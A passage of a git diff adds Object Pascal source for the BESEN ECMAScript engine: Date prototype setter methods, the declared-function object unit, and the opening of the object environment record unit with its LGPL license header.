Seconds:=TBESEN(Instance).ToNum(Arguments^[0]^); + if CountArguments>1 then begin + ms:=TBESEN(Instance).ToNum(Arguments^[1]^); + end else begin + ms:=BESENMillisecondFromTime(t); + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENMakeDate(BESENDay(t),BESENMakeTime(BESENHourFromTime(t),BESENMinuteFromTime(t),Seconds,ms))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetMinutes(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Minutes,Seconds,ms:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + Minutes:=TBESEN(Instance).ToNum(Arguments^[0]^); + if CountArguments>1 then begin + Seconds:=TBESEN(Instance).ToNum(Arguments^[1]^); + end else begin + Seconds:=BESENSecondFromTime(t); + end; + if CountArguments>2 then begin + ms:=TBESEN(Instance).ToNum(Arguments^[2]^); + end else begin + ms:=BESENMillisecondFromTime(t); + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENUTC(BESENMakeDate(BESENDay(t),BESENMakeTime(BESENHourFromTime(t),Minutes,Seconds,ms)))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetUTCMinutes(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Minutes,Seconds,ms:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value; + Minutes:=TBESEN(Instance).ToNum(Arguments^[0]^); + if CountArguments>1 then begin + Seconds:=TBESEN(Instance).ToNum(Arguments^[1]^); + end else begin + Seconds:=BESENSecondFromTime(t); + end; + if CountArguments>2 then begin + ms:=TBESEN(Instance).ToNum(Arguments^[2]^); + end else begin + ms:=BESENMillisecondFromTime(t); + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENMakeDate(BESENDay(t),BESENMakeTime(BESENHourFromTime(t),Minutes,Seconds,ms))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetHours(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Hours,Minutes,Seconds,ms:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + Hours:=TBESEN(Instance).ToNum(Arguments^[0]^); + if CountArguments>1 then begin + Minutes:=TBESEN(Instance).ToNum(Arguments^[1]^); + end else begin + Minutes:=BESENMinuteFromTime(t); + end; + if CountArguments>2 then begin + Seconds:=TBESEN(Instance).ToNum(Arguments^[2]^); + end else begin + Seconds:=BESENSecondFromTime(t); + end; + if CountArguments>3 then begin + ms:=TBESEN(Instance).ToNum(Arguments^[3]^); + end else begin + ms:=BESENMillisecondFromTime(t); + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENUTC(BESENMakeDate(BESENDay(t),BESENMakeTime(Hours,Minutes,Seconds,ms)))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetUTCHours(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Hours,Minutes,Seconds,ms:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value; + Hours:=TBESEN(Instance).ToNum(Arguments^[0]^); + if CountArguments>1 then begin + Minutes:=TBESEN(Instance).ToNum(Arguments^[1]^); + end else begin + Minutes:=BESENMinuteFromTime(t); + end; + if CountArguments>2 then begin + Seconds:=TBESEN(Instance).ToNum(Arguments^[2]^); + end else begin + Seconds:=BESENSecondFromTime(t); + end; + if CountArguments>3 then begin + ms:=TBESEN(Instance).ToNum(Arguments^[3]^); + end else begin + ms:=BESENMillisecondFromTime(t); + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENMakeDate(BESENDay(t),BESENMakeTime(Hours,Minutes,Seconds,ms))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetDate(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Date:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + Date:=TBESEN(Instance).ToNum(Arguments^[0]^); + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENUTC(BESENMakeDate(BESENMakeDay(BESENYearFromTime(t),BESENMonthFromTime(t),Date),BESENTimeWithinDay(t)))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetUTCDate(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Date:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value; + Date:=TBESEN(Instance).ToNum(Arguments^[0]^); + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENMakeDate(BESENMakeDay(BESENYearFromTime(t),BESENMonthFromTime(t),Date),BESENTimeWithinDay(t))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetMonth(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Month,Date:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + Month:=TBESEN(Instance).ToNum(Arguments^[0]^); + if CountArguments>1 then begin + Date:=TBESEN(Instance).ToNum(Arguments^[1]^); + end else begin + Date:=BESENDayFromTime(t); + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENUTC(BESENMakeDate(BESENMakeDay(BESENYearFromTime(t),Month,Date),BESENTimeWithinDay(t)))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetUTCMonth(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Month,Date:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value; + Month:=TBESEN(Instance).ToNum(Arguments^[0]^); + if CountArguments>1 then begin + Date:=TBESEN(Instance).ToNum(Arguments^[1]^); + end else begin + Date:=BESENDayFromTime(t); + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENMakeDate(BESENMakeDay(BESENYearFromTime(t),Month,Date),BESENTimeWithinDay(t))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetFullYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Year,Month,Date:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + Year:=TBESEN(Instance).ToNum(Arguments^[0]^); + if CountArguments>1 then begin + Month:=TBESEN(Instance).ToNum(Arguments^[1]^); + end else begin + Month:=BESENMonthFromTime(t); + end; + if CountArguments>2 then begin + Date:=TBESEN(Instance).ToNum(Arguments^[2]^); + end else begin + Date:=BESENDayFromTime(t); + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENUTC(BESENMakeDate(BESENMakeDay(Year,Month,Date),BESENTimeWithinDay(t)))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetUTCFullYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Year,Month,Date:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value; + Year:=TBESEN(Instance).ToNum(Arguments^[0]^); + if CountArguments>1 then begin + Month:=TBESEN(Instance).ToNum(Arguments^[1]^); + end else begin + Month:=BESENMonthFromTime(t); + end; + if CountArguments>2 then begin + Date:=TBESEN(Instance).ToNum(Arguments^[2]^); + end else begin + Date:=BESENDayFromTime(t); + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENMakeDate(BESENMakeDay(Year,Month,Date),BESENTimeWithinDay(t))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeToGMTString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + NativeToUTCString(ThisArgument,Arguments,CountArguments,ResultValue); +end; + +procedure TBESENObjectDatePrototype.NativeToISOString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + ResultValue:=BESENStringValue('Invalid Date'); + end else begin + ResultValue:=BESENStringValue('NaN'); + end; + end else begin + ResultValue:=BESENStringValue(BESENFormatDateTime('yyyy-mm-dd"T"hh:nn:ss.zzz"Z"',BESENDateToDateTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value),BESENDefaultFormatSettings)); + end; + end else begin + raise EBESENTypeError.Create('Not date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeToJSON(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ov,tv:TBESENValue; +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ov); + TBESEN(Instance).ToPrimitiveValue(ov,TBESEN(Instance).ObjectNumberConstructorValue,tv); + if (tv.ValueType=bvtNUMBER) and not BESENIsFinite(tv.Num) then begin + ResultValue:=BESENNullValue; + end else begin + TBESENObject(ov.Obj).GarbageCollectorLock; + try + TBESENObject(ov.Obj).Get('toISOString',tv); + if not BESENIsCallable(tv) then begin + raise EBESENTypeError.Create('no "toISOString" callable object'); + end; + TBESEN(Instance).ObjectCall(TBESENObject(tv.Obj),ov,nil,0,ResultValue); + finally + TBESENObject(ov.Obj).GarbageCollectorUnlock; + end; + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENYearFromTime(BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value))-1900); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Year:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + Year:=TBESEN(Instance).ToNum(Arguments^[0]^); + if (0<=Year) and (Year<=99) then begin + Year:=Year+1900; + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENUTC(BESENMakeDate(BESENMakeDay(Year,BESENMonthFromTime(t),BESENDayFromTime(t)),BESENTimeWithinDay(t)))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +end. diff --git a/Core/JS/BESENObjectDeclaredFunction.pas b/Core/JS/BESENObjectDeclaredFunction.pas new file mode 100644 index 0000000..c7dd025 --- /dev/null +++ b/Core/JS/BESENObjectDeclaredFunction.pas @@ -0,0 +1,235 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectDeclaredFunction; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor, + BESENLexicalEnvironment,BESENContext,BESENASTNodes; + +type TBESENObjectDeclaredFunctionParameters=array of TBESENString; + + TBESENObjectDeclaredFunction=class(TBESENObjectFunction) + public + LexicalEnvironment:TBESENLexicalEnvironment; + Node:TBESENASTNodeFunctionLiteral; + Parameters:TBESENObjectDeclaredFunctionParameters; + Container:TBESENFunctionLiteralContainer; + ContextCache:TBESENContextCache; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + function GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; override; + function GetIndex(const Index,ID:integer;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure CallEx(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue;IsConstruct:boolean); virtual; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN,BESENErrors,BESENUtils,BESENCode,BESENDeclarativeEnvironmentRecord; + +constructor TBESENObjectDeclaredFunction.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='declared'; + LexicalEnvironment:=nil; + Node:=nil; + Parameters:=nil; + Container:=nil; + ContextCache:=TBESENContextCache.Create(Instance); +end; + +destructor TBESENObjectDeclaredFunction.Destroy; +begin + SetLength(Parameters,0); + BESENFreeAndNil(ContextCache); + inherited Destroy; +end; + +function TBESENObjectDeclaredFunction.GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; +begin + if not assigned(Base) then begin + Base:=self; + end; + result:=inherited GetEx(P,AResult,Descriptor,Base,Hash); + if Node.Body.IsStrict and (P='caller') then begin + raise EBESENTypeError.Create('"caller" not allowed here'); + end; +end; + +function TBESENObjectDeclaredFunction.GetIndex(const Index,ID:integer;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; +begin + if not assigned(Base) then begin + Base:=self; + end; + result:=inherited GetIndex(Index,ID,AResult,Base); + if TBESEN(Instance).IsStrict and (ID=TBESEN(Instance).KeyIDManager.CallerID) then begin + raise EBESENTypeError.Create('"caller" not allowed here'); + end; +end; + +procedure TBESENObjectDeclaredFunction.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var r1:TBESENObject; + r3:TBESENValue; +begin + Get('prototype',r3); + if (r3.ValueType=bvtOBJECT) and assigned(TBESENObject(r3.Obj)) then begin + r1:=TBESENObject.Create(Instance,TBESENObject(r3.Obj),false); + end else begin + r1:=TBESENObject.Create(Instance,TBESEN(Instance).ObjectPrototype,false); + end; + TBESEN(Instance).GarbageCollector.Add(r1); + r1.GarbageCollectorLock; + try + r1.Extensible:=true; + CallEx(BESENObjectValue(r1),Arguments,CountArguments,AResult,true); + finally + r1.GarbageCollectorUnlock; + end; + if AResult.ValueType<>bvtOBJECT then begin + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=r1; + end; +end; + +procedure TBESENObjectDeclaredFunction.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + CallEx(ThisArgument,Arguments,CountArguments,AResult,false); +end; + +procedure TBESENObjectDeclaredFunction.CallEx(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue;IsConstruct:boolean); +var NewContext:TBESENContext; + LocalEnv:TBESENLexicalEnvironment; + procedure SetThisBinding; + begin + if Node.Body.IsStrict then begin + BESENCopyValue(NewContext.ThisBinding,ThisArgument); + end else if ThisArgument.ValueType in [bvtUNDEFINED,bvtNULL] then begin + NewContext.ThisBinding.ValueType:=bvtOBJECT; + NewContext.ThisBinding.Obj:=TBESEN(Instance).ObjectGlobal; + end else if ThisArgument.ValueType<>bvtOBJECT then begin + TBESEN(Instance).ToObjectValue(ThisArgument,NewContext.ThisBinding); + end else begin + BESENCopyValue(NewContext.ThisBinding,ThisArgument); + end; + end; +begin + if assigned(Node) and (assigned(Node.Body) and not (Node.Body.IsEmpty and (CountArguments=0))) then begin + GarbageCollectorLock; + try + NewContext:=ContextCache.Pop; + if assigned(NewContext) then begin + LocalEnv:=NewContext.VariableEnvironment; + end else begin + NewContext:=TBESENContext.Create(Instance); + LocalEnv:=nil; + end; + if assigned(LocalEnv) then begin + LocalEnv.Outer:=LexicalEnvironment; + NewContext.LexicalEnvironment:=LocalEnv; + SetThisBinding; + NewContext.InitializeDeclarationBindingInstantiation(Node.Body,self,false,Arguments,CountArguments,true); + end else begin + LocalEnv:=TBESEN(Instance).NewDeclarativeEnvironment(LexicalEnvironment,Node.Body.IsStrict,TBESENCode(Node.Body.Code).HasMaybeDirectEval); + TBESEN(Instance).GarbageCollector.Add(LocalEnv); + NewContext.LexicalEnvironment:=LocalEnv; + NewContext.VariableEnvironment:=LocalEnv; + SetThisBinding; + NewContext.InitializeDeclarationBindingInstantiation(Node.Body,self,false,Arguments,CountArguments,false); + if not IsConstruct then begin + TBESEN(Instance).GarbageCollector.TriggerCollect; + end; + end; + try + if Node.Body.IsEmpty then begin + AResult.ValueType:=bvtUNDEFINED; + end else begin + Node.ExecuteCode(NewContext,AResult); + end; + if (ContextCache.Count<TBESEN(Instance).MaxCountOfFreeContexts) and (Node.Body.DisableArgumentsObject and ((length(Node.Body.Functions)=0) and (assigned(Node.Body.Code) and ((TBESENCode(Node.Body.Code).CountFunctionLiteralContainers=0) and not (TBESENCode(Node.Body.Code).IsComplexFunction or TBESENCode(Node.Body.Code).HasLocalDelete))))) then begin + NewContext.Reset; + if (((assigned(LocalEnv) and (NewContext.VariableEnvironment=LocalEnv){ and (LocalEnv.Outer=Instance.GlobalLexicalEnvironment)}) and assigned(LocalEnv.EnvironmentRecord)) and (LocalEnv.EnvironmentRecord is TBESENDeclarativeEnvironmentRecord)) and not TBESENDeclarativeEnvironmentRecord(LocalEnv.EnvironmentRecord).Touched then begin + LocalEnv.Outer:=nil; + TBESENDeclarativeEnvironmentRecord(LocalEnv.EnvironmentRecord).Reset; + ContextCache.Push(NewContext); + NewContext:=nil; + end; + end; + finally + NewContext.Free; + end; + finally + GarbageCollectorUnlock; + end; + end else begin + AResult.ValueType:=bvtUNDEFINED; + end; +end; + +function TBESENObjectDeclaredFunction.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectDeclaredFunction.HasCall:TBESENBoolean; +begin + result:=true; +end; + +procedure TBESENObjectDeclaredFunction.Finalize; +begin + Container:=nil; + LexicalEnvironment:=nil; + inherited Finalize; +end; + +procedure TBESENObjectDeclaredFunction.Mark; +begin + if assigned(Container) then begin + TBESEN(Instance).GarbageCollector.GrayIt(Container); + end; + if assigned(LexicalEnvironment) then begin + TBESEN(Instance).GarbageCollector.GrayIt(LexicalEnvironment); + end; + if assigned(ContextCache) then begin + ContextCache.Mark; + end; + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENObjectEnvironmentRecord.pas b/Core/JS/BESENObjectEnvironmentRecord.pas new file mode 100644 index 0000000..663b9b2 --- /dev/null +++ b/Core/JS/BESENObjectEnvironmentRecord.pas @@ -0,0 +1,168 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectEnvironmentRecord; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENEnvironmentRecord,BESENObject, + BESENObjectPropertyDescriptor,BESENValue; + +type TBESENObjectEnvironmentRecord=class(TBESENEnvironmentRecord) + public + BindingObject:TBESENObject; + ProvideThis:TBESENBoolean; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + function HasBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; override; + function CreateMutableBinding(const N:TBESENString;const D:TBESENBoolean=false;Hash:TBESENHash=0):TBESENBoolean; override; + function SetMutableBindingEx(const N:TBESENString;const V:TBESENValue;const S:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0):TBESENBoolean; override; + procedure GetBindingValueEx(const N:TBESENString;const S:TBESENBoolean;var R:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0); override; + function DeleteBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; override; + procedure UpdateImplicitThisValue; override; + function SetIndexValue(const I,ID:integer;const V:TBESENValue;const S:TBESENBoolean):TBESENBoolean; override; + procedure GetIndexValue(const I,ID:integer;const S:TBESENBoolean;var R:TBESENValue); override; + function DeleteIndex(const I,ID:integer):TBESENBoolean; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses 